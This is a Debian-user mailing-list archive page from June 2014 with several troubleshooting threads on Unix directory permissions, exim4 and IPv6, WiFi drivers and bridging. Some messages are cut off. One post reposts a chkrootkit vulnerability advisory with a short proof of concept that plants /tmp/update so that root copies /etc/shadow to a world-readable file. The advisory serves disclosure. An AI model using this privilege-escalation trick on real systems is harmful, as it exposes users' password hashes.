date:20140605

jimmy wrote:
> Could anyone verify this "bug" I ran into, please?  I don't know for
> sure if it is the new kernel, or any combination of various packages
> (pam, rm, mv...).

I see no bug here.

>$ mkdir -p /tmp/testing/
>$ ls -altr /tmp | grep testing
> drwxr-xr-x  2 tst1 tst1 4096 Jun  5 13:48 testing

Please look at the ls -d option instead of using grep. :-)

  $ ls -ld /tmp/testing
  drwxr-xr-x  2 tst1 tst1 4096 Jun  5 13:48 testing

> As root, create some files and subdirectory in the above directory:
> 
># echo "1 2 3 4 5" > /tmp/testing/test1.txt
># mkdir -p /tmp/testing/test.mvrmBug/

It is okay to have the trailing slash there but it isn't normal to
have it present.

># echo "a b c d e" > /tmp/testing/test.mvrmBug/test2.txt
># mkdir -p /tmp/testing/test.mvrmEmptySubdir/
>...
> As the original user 'tst1':
> 
>// --- rename (move) a file owned by root, should not be allowed,
> but is allowed:
> 
>$ mv -v /tmp/testing/test1.txt  /tmp/testing/junk1.txt
> ‘/tmp/testing/test1.txt’ -> ‘/tmp/testing/junk1.txt’

There is no bug there.  What makes you think it isn't allowed?

You have write permission to the /tmp/testing directory.  Therefore
you can move or rename or remove any file from it.  The owner of the
file entry you are renaming or moving is not relevant.  You are not
changing the file.  You are changing the directory.  You have write
permission to the directory.  Therefore you can modify the directory.
You also own the directory too but that just means that if you don't
have write permission you can chmod it so that you do.

Try another experiment and chmod the directory that you own so that
you don't have write permission to it any longer.  Then try to modify
the directory.  It will fail with a permission denied message.

>$ mv -v /tmp/testing/junk1.txt  /tmp/testing/newjunk1.txt
> ‘/tmp/testing/junk1.txt’ -> ‘/tmp/testing/newjunk1.txt’

Same thing.  You can write to the /tmp/testing directory and therefore
can modify it.

Note that when you move files like that you are not modifying the
file.  You are modifying the directory which has an entry pointing to
the file.  The file itself is unchanged.  You can see this by removing
write permission to the file.

>// --- remove (delete) a file owned by root, should not be
> allowed, but is allowed.  Here, it says the file is 'read-only'
> so it warns about it, but of course "rm -f " would work, too:

Why do you think it should not be allowed?  It is allowed.

If you don't want a user to modify the directory then change the
permissions of the directory.  For example as your tst1 user try to
move a file out of /usr/bin.  Any file in /usr/bin.  You will find
that it is not possible to move files out of /usr/bin as the tst1 user
because the tst1 user has no write permission to the /usr/bin
directory.

>$ rm -v /tmp/testing/newjunk1.txt
> rm: remove write-protected regular file ‘/tmp/testing/newjunk1.txt’? y
> removed ‘/tmp/testing/newjunk1.txt’

Sure.  Because tst1 owns /tmp/testing.  You would want a user to be
unable to modify a file that they have write permission to modify?
That would clearly be a bug if the user were not allowed to write to
files that they have permission to write to.

(Directories are simply files in the Unix file system model.
Directories are special files.  But files just the same.)

>// --- rename (move) a subdirectory owned by root, should not be
> allowed, but is allowed:

You keep saying should not be allowed.  Why not?  It should be
allowed.  You own the directory.

>$ mv -v /tmp/testing/test.mvrmBug  /tmp/testing/try.mvrmBug
> ‘/tmp/testing/test.mvrmBug’ -> ‘/tmp/testing/try.mvrmBug’

Same thing here.

>$ mv -v /tmp/testing/try.mvrmBug  /tmp/testing/squash.mvrmBug
> ‘/tmp/testing/try.mvrmBug’ -> ‘/tmp/testing/squash.mvrmBug’

Likewise.

>// --- can delete (rmdir, rm -fR, rm -fr) an empty subdirectory,
> did not even prompt for confirmation, should not be allowed:

Stop saying "should not be allowed" since that is incorrect.  Instead
simply ask, "This is doing something I don't understand.  Can someone
please explain to me why this behavior is occurring?"  Because
obviously it is working that way.  After 40 years if it were a problem
then by now surely someone else would have noticed first. :-)

>$ rmdir -v /tmp/testing/test.mvrmEmptySubdir/
> rmdir: removing directory, ‘/tmp/testing/test.mvrmEmptySubdir/’

Sure.  Looks good.  If you couldn't then that would be a bug.

>// --- at least, cannot remove, or reach inside a not-empty
> subdirectory owned by root, thank goodness:
> 
>$ rm -fR /tmp/testing/squash.mvrmBug
> rm: cannot remove ‘/tmp/testing/squash.mvrmBug/test2.txt’: Permission denied

Now you are trying to remove a file from /tmp/testing/squash.mvrmBug
but you as the tst1 user do not have write permission to that
directory.  Therefore permission is denied.  It really isn't a
question of ownership of the directory.  It is whether you have write
pe

Re: fastest linux distro

2014-06-05 Thread Celejar

On Wed, 4 Jun 2014 21:40:54 +1200
Chris Bannister  wrote:

> On Sun, Jun 01, 2014 at 09:10:53AM -0400, Celejar wrote:
> > On Sat, 31 May 2014 17:11:16 +1200
> > Chris Bannister  wrote:
> > > ... no HDMI cable, doesn't play .webm videos. You have to use youtube-dl
> > > not 'cclive -s best' to download the video from youtube yielding in
> > > a 'lower quality' exoerience. Putting all that aside, it's basically
> > 
> > Can you explain? What does cclive do that youtube-dl doesn't?
> 
> That is a very open question, but compare the output of
> 
> tal% youtube-dl 'http://www.youtube.com/watch?v=fh78BO_jhlw'
> [youtube] Setting language
> [youtube] fh78BO_jhlw: Downloading webpage
> [youtube] fh78BO_jhlw: Downloading video info webpage
> [youtube] fh78BO_jhlw: Extracting video information
> [download] Destination: Doctor Down Under EP 1 Thanks for the 
> Memory-fh78BO_jhlw.mp4
> [download]   0.4% of 95.44MiB at 166.23KiB/s ETA 09:45^C
> 
> to
> 
> tal% cclive 'http://www.youtube.com/watch?v=fh78BO_jhlw'
> Checking ... ..  .done.
> Doctor Down Under EP 1 Thanks for the Memory.webm  116.56M  [video/webm]

Not sure what you mean by "open question", but the above simply shows
that youtube-dl defaults to mp4 over webm, and cclive, vice versa.
Running youtube-dl with "-f webm" will cause it to get the exact same
webm file, byte for byte.

Celejar


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
https://lists.debian.org/20140605232002.f0c23db5e0f558d96b70f...@gmail.com

Re: Kernel 3.14.x bug? rm, mv root-owned files

2014-06-05 Thread Christoph Anton Mitterer

On Thu, 2014-06-05 at 17:39 -0700, jimmy wrote: 
> Problem description:  With normal/common file permission usage, in a 
> directory owned by non-root user, the user can rename or delete root-owned 
> files using:
> 
>/bin/mv
>/bin/rm 
> 
> Within such directory, that non-root user can also 
> 
>/bin/rm, or /bin/mv  an empty root-owned subdirectory
> 
>/bin/mv  a subdirectory owned by root
>
> but prevented from moving or deleting the files within such subdirectory
Well that's just normal if the user owns that parent dir.


Cheers,
Chris.


smime.p7s
Description: S/MIME cryptographic signature

Kernel 3.14.x bug? rm, mv root-owned files

2014-06-05 Thread jimmy




Hello,

Could anyone verify this "bug" I ran into, please?  I don't know for sure if it 
is the new kernel, or any combination of various packages (pam, rm, mv...).

Thanks,

Jimmy



###-


Software version:

   kernel 3.14.5
   Debian sid

Problem description:  With normal/common file permission usage, in a directory 
owned by non-root user, the user can rename or delete root-owned files using:

   /bin/mv
   /bin/rm 

Within such directory, that non-root user can also 

   /bin/rm, or /bin/mv  an empty root-owned subdirectory

   /bin/mv  a subdirectory owned by root
   
but prevented from moving or deleting the files within such subdirectory


###-

Some tests:


As user 'tst1':

   $ mkdir -p /tmp/testing/
   $ ls -altr /tmp | grep testing
drwxr-xr-x  2 tst1 tst1 4096 Jun  5 13:48 testing


   

As root, create some files and subdirectory in the above directory:

   # echo "1 2 3 4 5" > /tmp/testing/test1.txt
   # ls -altr /tmp/testing/
total 12
drwxrwxrwt 14 root root 4096 Jun  5 13:48 ..
-rw-r--r--  1 root root   10 Jun  5 13:49 test1.txt
drwxr-xr-x  2 tst1 tst1 4096 Jun  5 13:49 .


   # mkdir -p /tmp/testing/test.mvrmBug/
   # ls -altr /tmp/testing/
total 16
drwxrwxrwt 14 root root 4096 Jun  5 13:48 ..
-rw-r--r--  1 root root   10 Jun  5 13:49 test1.txt
drwxr-xr-x  2 root root 4096 Jun  5 13:50 test.mvrmBug
drwxr-xr-x  3 tst1 tst1 4096 Jun  5 13:50 .


   # echo "a b c d e" > /tmp/testing/test.mvrmBug/test2.txt
   # ls -altr /tmp/testing/test.mvrmBug/
total 12
drwxr-xr-x 3 tst1 tst1 4096 Jun  5 13:50 ..
-rw-r--r-- 1 root root   10 Jun  5 13:51 test2.txt
drwxr-xr-x 2 root root 4096 Jun  5 13:51 .


   # mkdir -p /tmp/testing/test.mvrmEmptySubdir/
   # ls -altr /tmp/testing/
total 20
drwxrwxrwt 14 root root 4096 Jun  5 13:48 ..
-rw-r--r--  1 root root   10 Jun  5 13:49 test1.txt
drwxr-xr-x  2 root root 4096 Jun  5 13:51 test.mvrmBug
drwxr-xr-x  2 root root 4096 Jun  5 13:52 test.mvrmEmptySubdir
drwxr-xr-x  4 tst1 tst1 4096 Jun  5 13:52 .
   

   
   

As the original user 'tst1':

   $ ls -altr /tmp/ | grep testing
drwxr-xr-x  4 tst1 tst1 4096 Jun  5 13:52 testing


   $ ls -altr /tmp/testing/
total 20
drwxrwxrwt 14 root root 4096 Jun  5 13:48 ..
-rw-r--r--  1 root root   10 Jun  5 13:49 test1.txt
drwxr-xr-x  2 root root 4096 Jun  5 13:51 test.mvrmBug
drwxr-xr-x  2 root root 4096 Jun  5 13:52 test.mvrmEmptySubdir
drwxr-xr-x  4 tst1 tst1 4096 Jun  5 13:52 .


   
   // --- rename (move) a file owned by root, should not be allowed, but is 
allowed:

   $ mv -v /tmp/testing/test1.txt  /tmp/testing/junk1.txt
‘/tmp/testing/test1.txt’ -> ‘/tmp/testing/junk1.txt’


   $ ls -altr /tmp/testing/
total 20
drwxrwxrwt 14 root root 4096 Jun  5 13:48 ..
-rw-r--r--  1 root root   10 Jun  5 13:49 junk1.txt
drwxr-xr-x  2 root root 4096 Jun  5 13:51 test.mvrmBug
drwxr-xr-x  2 root root 4096 Jun  5 13:52 test.mvrmEmptySubdir
drwxr-xr-x  4 tst1 tst1 4096 Jun  5 13:53 .


   $ mv -v /tmp/testing/junk1.txt  /tmp/testing/newjunk1.txt
‘/tmp/testing/junk1.txt’ -> ‘/tmp/testing/newjunk1.txt’


   $ ls -altr /tmp/testing/
total 20
-rw-r--r--  1 root root   10 Jun  5 13:49 newjunk1.txt
drwxr-xr-x  2 root root 4096 Jun  5 13:51 test.mvrmBug
drwxr-xr-x  2 root root 4096 Jun  5 13:52 test.mvrmEmptySubdir
drwxrwxrwt 14 root root 4096 Jun  5 13:55 ..
drwxr-xr-x  4 tst1 tst1 4096 Jun  5 13:55 .

   

   // --- remove (delete) a file owned by root, should not be allowed, but is 
allowed.  Here, it says the file is 'read-only' so it warns about it, but of 
course "rm -f " would work, too:

   $ rm -v /tmp/testing/newjunk1.txt
rm: remove write-protected regular file ‘/tmp/testing/newjunk1.txt’? y
removed ‘/tmp/testing/newjunk1.txt’


   $ ls -altr /tmp/testing/
total 16
drwxr-xr-x  2 root root 4096 Jun  5 13:51 test.mvrmBug
drwxr-xr-x  2 root root 4096 Jun  5 13:52 test.mvrmEmptySubdir
drwxrwxrwt 14 root root 4096 Jun  5 13:55 ..
drwxr-xr-x  4 tst1 tst1 4096 Jun  5 13:57 .

   
   
   // --- rename (move) a subdirectory owned by root, should not be allowed, 
but is allowed:
   
   $ mv -v /tmp/testing/test.mvrmBug  /tmp/testing/try.mvrmBug
‘/tmp/testing/test.mvrmBug’ -> ‘/tmp/testing/try.mvrmBug’


   $ ls -altr /tmp/testing/
total 16
drwxr-xr-x  2 root root 4096 Jun  5 13:51 try.mvrmBug
drwxr-xr-x  2 root root 4096 Jun  5 13:52 test.mvrmEmptySubdir
drwxrwxrwt 14 root root 4096 Jun  5 13:55 ..
drwxr-xr-x  4 tst1 tst1 4096 Jun  5 14:00 .


   $ mv -v /tmp/testing/try.mvrmBug  /tmp/testing/squash.mvrmBug
‘/tmp/testing/try.mvrmBug’ -> ‘/tmp/testing/squash.mvrmBug’


   $ ls -altr /tmp/testing/
total 16
drwxr-xr-x  2 root root 4096 Jun  5 13:51 squash.mvrmBug
drwxr-xr-x  2 root root 4096 Jun  5 13:52 test.mvrmEmptySubdir
drwxrwxrwt 14 root root 4096 Jun  5 13:55 ..
drwxr-xr-x  4 tst1 tst1 4096 Jun  5 14:01 .

   
   // --- can delete (rmdir, rm -fR, rm -fr) an empty subdirectory, did not 
even prompt for confirmation, should not be allowed: 
   
   $ rmdir -v /tmp/testing/test.mvrmEmptySubdir/
rmdir: removing directory, ‘/tmp/tes

Re: upgrade? broke exim4 [SOLVED] Addendum

2014-06-05 Thread Mike McClain

On Wed, Jun 04, 2014 at 05:13:59PM -0700, Mike McClain wrote:
>
> Back in February I ran across a note on the Debian Wiki that turning
> off ipv6 would speed up Iceweasel which is a real dog on dialup. With
> that in mind I put this 'net/ipv6/conf/all/disable_ipv6 = 1' in
> /etc/sysctl.conf.
> Setting it to 0 and rerunning 'sysctl -p' got my fetchmail/exim4
> connection working again.
>
> Now I guess I need to figure out if I can tell exim not to use ipv6
> and if so how.

root@/deb73:~> ed /etc/exim4/update-exim4.conf.conf
#dc_local_interfaces='127.0.0.1 ; ::1'
dc_local_interfaces='127.0.0.1'
root@/deb73:~> update-exim4.conf
root@/deb73:~> service exim4 restart
now exim4 NOT listening on ::1:25 only 127.0.0.1:25
root@/deb73:~> ed /etc/sysctl.conf
net/ipv6/conf/all/disable_ipv6 = 1
root@/deb73:~> sysctl -p

Sent myself emails through my ISP both as root and mike.
Rebooted just to double check and am able to retrieve mail
so I think the problem is really solved and Iceweasel won't be slowed
down by checking for nonexistant ipv6 traffic.

Thanks again to you friendly helpers,
Mike
--
Secrecy is the beginning of tyranny.
A government exists to serve its citizens, not to control them.


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/20140605231030.GA3708@playground

Re: Should I install chkrootkit?

2014-06-05 Thread Charles Kroeger

On Wed, 04 Jun 2014 14:30:02 +0200
David Guyot  wrote:

> Anyone saying that Debian and its software are flawless lies or
> doesn't know what's he is talking about.

How true. And by the way, I have had chkrootkit installed for a long time and 
the
other day I ran it after an upgrade and voilà:

Searching for Suckit rootkit...   Warning: /sbin/init   INFECTED

as a Sysadmin what do you suggest I can do to rid myself if this? Looking
into /sbin/init only shows a lot of stuff that looks like modern art.

I await your help, RSVP

-- 
CK

--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/bvc9b2fs5t...@mid.individual.net

Re: Do I need configure bridge interface?

Henning Follmann wrote:
> Pol Hallen wrote:
> > eth0 --> 192.168.1.0/24 ip 192.168.1.2
> > wlan0 (with hostapd) --> 192.168.1.0/24 ip 192.168.1.3
> 
> iface br0 inet static
>   bridge_ports eth0 wlan0
>   address 192.168.1.2
>   netmask 255.255.255.0
>   gateway 192.168.1.1

If you previously had a DHCP daemon running on wlan0 (with hostapd)
then you should disable it when switching to a bridging configuration.
With the wifi bridged to the wired lan the dhcp requests will be
serviced by the dhcp server on the wired lan.  Otherwise you might
continue to be giving out 192.168.2.0/24 addresses from the previous
configuration.

Bob

signature.asc
Description: Digital signature

Re: where is my WiFi card? (ThinkPad T61)

2014-06-05 Thread Stanisław Findeisen

On 2014-06-05 13:42, Stanisław Findeisen wrote:
> On 2014-06-05 13:08, Darac Marjal wrote:
>>> Is my integrated wireless card broken?! Or not present at all?!
>>
>> I don't know that laptop, but it probably can't hurt to also check the
>> output of 'lsusb' and 'iw list'.
> 
> lsusb yields nothing interesting, but iw list:
> 
> # iw list
> nl80211 not found.

Well, I got some progress.

1. I found Intel 4965 AGN MM2 802.11 A/G/N card inside the machine.

2. Following these instructions:
http://www.thinkwiki.org/wiki/Installing_Debian_Wheezy_on_a_ThinkPad_T61#WiFi:_Intel_3945.2F4965AGN
, I installed non-free package firmware-iwlwifi.

3. If I do:

# modprobe iwl4965

it gives me the following:

# lsmod | grep -i 4965
iwl496583564  0
iwl_legacy 48206  1 iwl4965
mac80211  192806  2 iwl_legacy,iwl4965
cfg80211  137243  3 mac80211,iwl_legacy,iwl4965

and, in /var/log/syslog:

Jun  5 22:41:27 t61whe kernel: [  144.463316] cfg80211: Calling CRDA to
update world regulatory domain
Jun  5 22:41:27 t61whe kernel: [  144.500369] iwl4965: Intel(R) Wireless
WiFi 4965 driver for Linux, in-tree:
Jun  5 22:41:27 t61whe kernel: [  144.500372] iwl4965: Copyright(c)
2003-2011 Intel Corporation
Jun  5 22:41:27 t61whe kernel: [  144.553035] cfg80211: World regulatory
domain updated:
Jun  5 22:41:27 t61whe kernel: [  144.553041] cfg80211: (start_freq
- end_freq @ bandwidth), (max_antenna_gain, max_eirp)
Jun  5 22:41:27 t61whe kernel: [  144.553047] cfg80211: (2402000 KHz
- 2472000 KHz @ 4 KHz), (300 mBi, 2000 mBm)
Jun  5 22:41:27 t61whe kernel: [  144.553052] cfg80211: (2457000 KHz
- 2482000 KHz @ 2 KHz), (300 mBi, 2000 mBm)
Jun  5 22:41:27 t61whe kernel: [  144.553058] cfg80211: (2474000 KHz
- 2494000 KHz @ 2 KHz), (300 mBi, 2000 mBm)
Jun  5 22:41:27 t61whe kernel: [  144.553063] cfg80211: (517 KHz
- 525 KHz @ 4 KHz), (300 mBi, 2000 mBm)
Jun  5 22:41:27 t61whe kernel: [  144.553068] cfg80211: (5735000 KHz
- 5835000 KHz @ 4 KHz), (300 mBi, 2000 mBm)

4. After the successful modprobe, the command:

# iv list

does not complain about the missing nl80211 anymore, but doesn't print
anything either. :/ Same with:

# iv dev

Output of # lspci doesn't look any better, too. I also tried this:

# iwconfig
lono wireless extensions.

eth0  no wireless extensions.

What's wrong? Why do I need manual modprobe for the driver to load?!?
Why doesn't it work??

-- 
http://people.eisenbits.com/~stf/
http://www.eisenbits.com/

OpenPGP: 80FC 1824 2EA4 9223 A986  DB4E 934E FEA0 F492 A63B


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/5390daa2.7060...@eisenbits.com

Re: unable to mount removable media with xfce4 version 4.10.1

Ahoj,

Dňa Fri, 6 Jun 2014 02:32:19 +0800 Bret Busby 
napísal:

> On 05/06/2014, Gour  wrote:
> > François Patte  writes:
> >
> >> Since last upgrade, I cannot mount (or umount) any removable media
> >> under xfce4:
> >>
> >> I can see the icon on the desktop, mouse over indicates that the
> >> media is not mounted and if I ask (mouse left click) to mount them
> >> the answer is: not authorized operation
> >
> > Ohh, good I'm not the only one. :-)
> >
> >
> > Sincerely,
> > Gour
> >
> > --
> > In the material world, one who is unaffected by whatever good
> > or evil he may obtain, neither praising it nor despising it,
> > is firmly fixed in perfect knowledge.
> >
> 
> I do not know what is the version number of the applicable xfce; does
> this problem also apply to Debian Linux 7.5 amd64 xfce?
> 

The 4.10.1 seems to be on testing and i have no problems here with USB
sticks nor CD/DVD.

regards

-- 
Slavko
http://slavino.sk


signature.asc
Description: PGP signature

Re: unable to mount removable media with xfce4 version 4.10.1

2014-06-05 Thread Bret Busby

On 05/06/2014, Gour  wrote:
> François Patte  writes:
>
>> Since last upgrade, I cannot mount (or umount) any removable media
>> under xfce4:
>>
>> I can see the icon on the desktop, mouse over indicates that the media
>> is not mounted and if I ask (mouse left click) to mount them the
>> answer is: not authorized operation
>
> Ohh, good I'm not the only one. :-)
>
>
> Sincerely,
> Gour
>
> --
> In the material world, one who is unaffected by whatever good
> or evil he may obtain, neither praising it nor despising it,
> is firmly fixed in perfect knowledge.
>

I do not know what is the version number of the applicable xfce; does
this problem also apply to Debian Linux 7.5 amd64 xfce?

-- 
Bret Busby
Armadale
West Australia
..

"So once you do know what the question actually is,
 you'll know what the answer means."
- Deep Thought,
 Chapter 28 of Book 1 of
 "The Hitchhiker's Guide to the Galaxy:
 A Trilogy In Four Parts",
 written by Douglas Adams,
 published by Pan Books, 1992




--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
https://lists.debian.org/cacx6j8o5kmv25m1ivkme7vndbs-vrsbwiazqc9urcffmcvv...@mail.gmail.com

Re: High %wa, irregular blocking

2014-06-05 Thread b-misc

> Hi
> 
> On Wed, Jun 04, 2014 at 08:49:44AM +0200, b-m...@gmx.ch wrote:
> > Hi,
> > 
> > Some weeks ago I installed Testing on my wife's iMac [1] from 2008.
> > Unfortunately it has one issue:
> > 
> > There are irregular periods of very high %wa, maybe 3-5 times per hour,
> > not
> > directly related to a certain user action. They last for some seconds up
> > to
> > even a minute or so and render the machine unusable for that time. top
> > shows %wa of 80 or 90%, load can go up to 9 on this dual core machine,
> > iotop shows only a few KB/s.
> 
> High wait-for-IO combined with very little disk throughput usually
> points towards disk problems...
> 
> Anything interesting from e.g. "iostat -kNx" ? That should tell you
> which disk and partition is suffering. (Or if you already think you
> know, this should confirm it)

Well, I already had a look at hdparm, but everything looks ok.

Booting OSX there are no similar problems, so a cable problem doesn't seem to 
be the case.

I will have a look at iostat when there are huge hangs again (I'm a bit in a 
hurry now...)


> 
> > I already added pcie_aspm=off to the boot options which seems to help,
> > but I still see this I/O hangs (without, I had about 10+ hangs per hour).
> > 
> > Any idea what could cause these blockings? How can I find out more? I use
> > Linux for 15+ years but I never saw such things... and I want to show my
> > wife, that Linux is the better OS, of course... ;-)
> 
> My first call would be the kernel logs.  IIRC in the default syslog
> config this goes to /var/log/kern.log, but you can see the most recent
> output with e.g. "dmesg" or "dmesg -T"

$ grep ata kern.log:

Jun  5 19:50:02 Yucca kernel: [0.00] BIOS-e820: [mem 
0xbfec5000-0xbfec7fff] ACPI data
Jun  5 19:50:02 Yucca kernel: [0.00] BIOS-e820: [mem 
0xbfedf000-0xbfeeefff] ACPI data
Jun  5 19:50:02 Yucca kernel: [0.00] ACPI: SSDT bfedf000 000137 
(v01 APPLE  SataAhci 1000 INTL 20061109)
Jun  5 19:50:02 Yucca kernel: [0.00] Memory: 3962208K/4190296K 
available (4811K kernel code, 693K rwdata, 1596K rodata, 984K init, 952K bss, 
228088K reserved)
Jun  5 19:50:02 Yucca kernel: [0.088000] perf_event_intel: PEBS disabled 
due to CPU errata
Jun  5 19:50:02 Yucca kernel: [0.179283] ACPI : EC: GPE = 0x17, I/O: 
command/status = 0x66, data = 0x62
Jun  5 19:50:02 Yucca kernel: [1.641833] Write protecting the kernel 
read-only data: 8192k
Jun  5 19:50:02 Yucca kernel: [1.70] libata version 3.00 loaded.
Jun  5 19:50:02 Yucca kernel: [1.800870] ata1: SATA max UDMA/133 abar 
m2048@0xd0704000 port 0xd0704100 irq 46
Jun  5 19:50:02 Yucca kernel: [1.800872] ata2: DUMMY
Jun  5 19:50:02 Yucca kernel: [1.800874] ata3: DUMMY
Jun  5 19:50:02 Yucca kernel: [1.800918] ata_piix :00:1f.1: version 2.13
Jun  5 19:50:02 Yucca kernel: [1.802216] scsi3 : ata_piix
Jun  5 19:50:02 Yucca kernel: [1.802263] scsi4 : ata_piix
Jun  5 19:50:02 Yucca kernel: [1.802292] ata4: PATA max UDMA/100 cmd 0x4108 
ctl 0x411c bmdma 0x40e0 irq 21
Jun  5 19:50:02 Yucca kernel: [1.802293] ata5: PATA max UDMA/100 cmd 0x4100 
ctl 0x4118 bmdma 0x40e8 irq 21
Jun  5 19:50:02 Yucca kernel: [1.967781] ata4.00: ATAPI: MATSHITADVD-R   
UJ-875, DB09, max UDMA/66
Jun  5 19:50:02 Yucca kernel: [1.980376] ata4.00: configured for UDMA/66
Jun  5 19:50:02 Yucca kernel: [2.120029] ata1: SATA link up 3.0 Gbps 
(SStatus 123 SControl 300)
Jun  5 19:50:02 Yucca kernel: [2.120893] ata1.00: ACPI cmd 
ef/90:03:00:00:00:a0 (SET FEATURES) rejected by device (Stat=0x51 Err=0x04)
Jun  5 19:50:02 Yucca kernel: [2.158384] ata1.00: ATA-8: WDC 
WD5000AAKS-40YGA0, 58.01E02, max UDMA/133
Jun  5 19:50:02 Yucca kernel: [2.158387] ata1.00: 976773168 sectors, multi 
0: LBA48 NCQ (depth 31/32), AA
Jun  5 19:50:02 Yucca kernel: [2.159267] ata1.00: ACPI cmd 
ef/90:03:00:00:00:a0 (SET FEATURES) rejected by device (Stat=0x51 Err=0x04)
Jun  5 19:50:02 Yucca kernel: [2.159469] ata1.00: configured for UDMA/133



Sometimes there are also several/many lines like:

May 20 18:50:09 XXX kernel: [ 1542.816063] ata1.00: exception Emask 0x0 SAct 
0x0 SErr 0x0 action 0x6 frozen
May 20 18:50:09 XXX kernel: [ 1542.816073] ata1.00: failed command: READ DMA EXT
May 20 18:50:09 XXX kernel: [ 1542.816083] ata1.00: cmd 
25/00:00:40:bc:cd/00:02:1d:00:00/e0 tag 0 dma 262144 in
May 20 18:50:09 XXX kernel: [ 1542.816083]  res 
40/00:00:00:4f:c2/00:00:00:00:00/00 Emask 0x4 (timeout)
May 20 18:50:09 XXX kernel: [ 1542.816088] ata1.00: status: { DRDY }
May 20 18:50:09 XXX kernel: [ 1542.816095] ata1: hard resetting link
May 20 18:50:09 XXX kernel: [ 1543.136059] ata1: SATA link up 3.0 Gbps (SStatus 
123 SControl 300)
May 20 18:50:09 XXX kernel: [ 1543.136992] ata1.00: ACPI cmd 
ef/90:03:00:00:00:a0 (SET FEATURES) rejected by device (Stat=0x51 Err=0x04)
May 20 18:50:10 XXX kernel: [ 1543.168706] ata1.00: ACPI cmd 
ef/90:03:00:00:00:a

Re: Do I need configure bridge interface?

2014-06-05 Thread Pol Hallen


On server 2
/etc/network/interfaces
auto br0

[...]

Cheers Hanning! :-)

Pol


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Archive: https://lists.debian.org/5390b449.4010...@fuckaround.org

Re: Should I install chkrootkit?

2014-06-05 Thread hohe72


Guess that is the matter:
https://www.debian.org/security/2014/dsa-2945
--hh

Just reposting:


Date: Thu, 05 Jun 2014 06:27:35 +
From: "mancha" 
To: slackbuilds-us...@slackbuilds.org
Subject: [Slackbuilds-users] chkrootkit vulnerability


Hi.

As ironic as it sounds, chkrootkit 0.49 can be turned into a 
rootkit.

On systems where /tmp is not mounted noexec, a regular user can 
create a file /tmp/update which chkrootkit will execute with root
privileges each time it's run.

Here's a simple PoC...as normal user: 

$ echo -e '#!/bin/bash\ncat /etc/shadow > /tmp/stolen' > /tmp/update
$ chmod 755 /tmp/update

As root:

# chkrootkit

Now the user has access to the shadow password file (/tmp/stolen).

Solution: Update to chkrootkit 0.50

--mancha

-
PGP: 0x25168EB24F0B22AC
[56B7 100E F4D5 811C 8FEF  ADD1 2516 8EB2 4F0B 22AC]




Horatio Leragon  wrote (Wed, 4 Jun 2014 04:38:45
-0700 (PDT)):
> I received a security update advisory [SECURITY] [DSA 2945-1] today.
> 
> Package    : chkrootkit
> CVE ID : CVE-2014-0476
> 
> I am shocked to learn that Debian is vulnerable to rootkits. That's
> why there's a package to check for them.
> 
> I switched to Debian from Microsoft Windows OS because of the massive
> over-hype that I read on the internet: that Debian is impervious to
> malware and no viruses have ever infected a *nix OS.
> 
> 
> Should I install this package called "chkrootkit"?
> 
> But then it itself is vulnerable to errors in its code :(


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/20140605200357.29dcf...@bivalve.fritz.box

Re: Remove unwanted, orphaned files and dependencies

2014-06-05 Thread Bob Holtzman

On Wed, Jun 04, 2014 at 10:13:47PM -0700, Horatio Leragon wrote:
> 
> 
> 
> 
> 
>  From: Bob Holtzman 
> To: debian-user@lists.debian.org 
> Sent: Thursday, June 5, 2014 5:45 AM
> Subject: Re: Remove unwanted, orphaned files and dependencies
>  
> 
> > Ralph, I think your wasting bandwidth on this guy. He's been told this more 
> > than once yet he comes back with another question that 
> > can be answered with a search.
> 
> I now understand why Ubuntu is way more popular than Debian because
> the former has an awesome forum full of kind-hearted, non-judgemental
> people who do not pontificate, preach or teach beginners how to live
> life.

D*o*n'*t r*e*p*l*y* d*i*r*e*c*t*l*y t*o a* p*o*s*t*e*r! R*e*p*l*y
o*n*l*y t*o t*h*e l*i*s*t!
^^^ 

Ubuntu is, at this writing, the most popular distro because it is dumbed
down to appeal to new users just now trying to make the jump from
windows (you perhaps?). Debian has done that to some extent but not
nearly that much. Debian users are generally expected to think, research and
attempt to troubleshoot for themselves before turning to forums or mailing 
lists. Ubuntu users expect and get more hand holding.

BTW, do you know the difference between a forum and a mailing list? You
seem to use "forum" as a catchall.  

> 
> Bob, you could have simply ignored my posts and move on to answer other 
> posts. I just don't understand why you and Jerry Stuckup would want to waste 
> your time on me. No use pontificating to me.

I sure could have but every once in a while I get the urge to try to
assist other posters to educate someone who sorely needs it.
Unfortunately, it seems you're impervious.

-- 
Bob Holtzman
A man is a man who will fight with a sword
or tackle Mt Everest in snow, but the bravest 
of all owns a '34 Ford and tries for 6000 in low.

signature.asc
Description: Digital signature

Re: Do I need configure bridge interface?

2014-06-05 Thread Henning Follmann

On Thu, Jun 05, 2014 at 07:01:50PM +0200, Pol Hallen wrote:
> Hi all :-)
> Easy situation:
> 
> server1:
> eth0 --> internet
> eth1 --> 192.168.1.0/24 ip 192.168.1.1
> 
> server2
> 
> eth0 --> 192.168.1.0/24 ip 192.168.1.2
> wlan0 (with hostapd) --> 192.168.2.0/24 ip 192.168.2.1
> 
> runs ;-)
> 
> I'd like re-configure like this:
> 
> server1:
> eth0 --> internet
> eth1 --> 192.168.1.0/24 ip 192.168.1.1
> 
> server2
> 
> eth0 --> 192.168.1.0/24 ip 192.168.1.2
> wlan0 (with hostapd) --> 192.168.1.0/24 ip 192.168.1.3
> 
> and all clients that connect to hostapd (via dhcpd) having
> 192.168.1.0/24 network
> 
> how I put wlan0 of server2 to 192.168.1.0/24?
> 
> thanks for help!
> 
> Pol
> 


